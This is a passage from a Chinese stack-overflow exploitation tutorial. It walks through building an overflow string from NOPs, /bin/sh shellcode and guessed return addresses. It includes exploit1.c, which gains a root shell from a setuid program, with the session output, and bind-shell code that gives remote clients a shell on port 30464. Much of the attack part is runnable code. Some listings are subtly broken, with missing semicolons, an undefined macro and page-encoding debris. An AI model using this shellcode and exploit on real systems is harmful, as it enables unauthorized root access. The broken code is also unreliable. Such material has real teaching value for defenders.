安全中国首页 > 文章中心 > 溢出文章
 
堆栈溢出技术从入门到高深(二)
更新时间:2007-12-17 0:15:10
责任编辑:池天
热 点:
三:利用堆栈溢出获得shell  

好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完,  
我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。  
overflow1.c  
------------------------------------------------------------------------  
------  
char shellcode[] =  

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
"\x80\xe8\xdc\xff\xff\xff/bin/sh"  

char large_string[128];  

void main() {  
char buffer[96];  
int i;  
long *long_ptr = (long *) large_string;  

for (i = 0; i < 32; i++)  
*(long_ptr + i) = (int) buffer;  

for (i = 0; i < strlen(shellcode); i++)  
large_string[i] = shellcode[i];  

strcpy(buffer,large_string);  
}  
------------------------------------------------------------------------  
------  
在执行完strcpy后,堆栈内容如下所示:  

内存底部 内存顶部  
buffer EBP ret  
<------ [SSS...SSSA ][A ][A ]A..A  
^&buffer  
栈顶部 堆栈底部  
注:S表示shellcode。  
A表示shellcode的地址。  

这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们 
的shellcode。  


---------------------------------------------------------- 

利用堆栈溢出获得shell  

现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们  
将面对  
一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。  

回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的  
strcpy  
函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的  
开始地  
址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的  
shellcode,从而我们得到了一个shell。  

当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件  
事:  
1:把我们的shellcode提供给他,让他可以访问shellcode。  
2:修改他的返回地址为shellcode的入口地址。  

为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer  
的地址。  
因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开  
始地址  
,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。  

我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是  
相同的  
。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程  
序堆栈  
的开始地址。  

下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax  
寄存器  
里面):  
------------------------------------------------------------------------  
------  
unsigned long get_sp(void) {  
__asm__("movl %esp,%eax");  
}  
------------------------------------------------------------------------  
------  

我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自  
己  
写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是  
几K  
左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。  

显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。  


前面我们用来覆盖堆栈的溢出字符串为:  
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
现在,为了提高命中率,我们对他进行如下改进:  
用来溢出的字符串变为:  
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA  
其中:  
N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,  
NOP指令的机器码为0x90。  
S为shellcode。  
A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到  
S.  
这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:)))  

好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到  
shell的程序:  
exploit1.c  
------------------------------------------------------------------------  
----  
#include<stdio.h>  
#include<stdlib.h>  

#define OFFSET 0  
#define RET_POSITION 1024  
#define RANGE 20  
#define NOP 0x90  

char shellcode[]=  
"\xeb\x1f" /* jmp 0x1f */  
"\x5e" /* popl %esi */  
"\x89\x76\x08" /* movl %esi,0x8(%esi) */  
"\x31\xc0" /* xorl %eax,%eax */  
"\x88\x46\x07" /* movb %eax,0x7(%esi) */  
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */  
"\xb0\x0b" /* movb $0xb,%al */  
"\x89\xf3" /* movl %esi,%ebx */  
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */  
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */  
"\xcd\x80" /* int $0x80 */  
"\x31\xdb" /* xorl %ebx,%ebx */  
"\x89\xd8" /* movl %ebx,%eax */  
"\x40" /* inc %eax */  
"\xcd\x80" /* int $0x80 */  
"\xe8\xdc\xff\xff\xff" /* call -0x24 */  
"/bin/sh" /* .string \"/bin/sh\" */  

unsigned long get_sp(void)  
{  
__asm__("movl %esp,%eax");  
}  

main(int argc,char **argv)  
{  
char buff[RET_POSITION+RANGE+1],*ptr;  
long addr;  
unsigned long sp;  
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;  
int i;  

if(argc>1)  
offset=atoi(argv[1]);  

sp=get_sp();  
addr=sp-offset;  

for(i=0;i<bsize;i+=4)  
*((long *)&(buff[i]))=addr;  

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)  
buff[i]=NOP;  

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;  
for(i=0;i<strlen(shellcode);i++)  
*(ptr++)=shellcode[i];  
buff[bsize-1]="\0"  
//现在buff的内容为  
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0  

printf("Jump to 0x%08x\n",addr);  

execl("./vulnerable1","vulnerable1",buff,0);  
}  
------------------------------------------------------------------------  
----  
execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串,  
作为./vulnerable1的参数提供。  
以下是执行的结果:  
------------------------------------------------------------------------  
----  
[nkl10]$Content$nbsp;ls -l vulnerable1  
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*  
[nkl10]$Content$nbsp;ls -l exploit1  
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*  
[nkl10]$Content$nbsp;./exploit1  
Jump to 0xbfffec64  
Segmentation fault  
[nkl10]$Content$nbsp;./exploit1 500  
Jump to 0xbfffea70  
bash# whoami  
root  

bash#  
------------------------------------------------------------------------  
----  
恭喜,恭喜,你获得了root shell。  

下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的  
shellcode。  

-------------------------------------------------------------- 

远程堆栈溢出  

我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。  
我们  
必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制  
(或者  
别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。  

普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击  
者来说  
,由于我们不在本地,这个sh我们并没有得到。  

因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket,  
然后  
listen我们的连接,给我们一个远程shell的责任。  

如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行  
)作为  
这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进  
来后,  
开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,  
我们  
远程的使用者就有了一个远程shell(跟telnet一样啦)。  

下面就是这个算法的C实现:  

opensocket.c  
------------------------------------------------------------------------  
----  
1#include<unistd.h>  
2#include<sys/socket.h>  
3#include<netinet/in.h>  

4int soc,cli,soc_len;  
5struct sockaddr_in serv_addr;  
6struct sockaddr_in cli_addr;  

7int main()  
8{  
9 if(fork()==0)  
10 {  
11 serv_addr.sin_family=AF_INET;  
12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);  
13 serv_addr.sin_port=htons(30464);  
14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  
15 bind(soc,(struct sockaddr *)&serv_addr,  
sizeof(serv_addr));  
16 listen(soc,1);  
17 soc_len=sizeof(cli_addr);  
18 cli=accept(soc,(struct sockaddr *)&cli_addr,  
&soc_len);  
19 dup2(cli,0);  
20 dup2(cli,1);  
21 dup2(cli,2);  
22 execl("/bin/sh","sh",0);  
23 }  
24}  
------------------------------------------------------------------------  
----  
第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的  
pid,  
对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子  
进程  
作为socket通信的执行者继续下面的操作。  

10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后  
调用  
bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接  
。  

当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,  

标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了  

这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。  

1 2 3 下一页

 
相关文章
48小时热门文章
 
一日一软件
48小时热门动画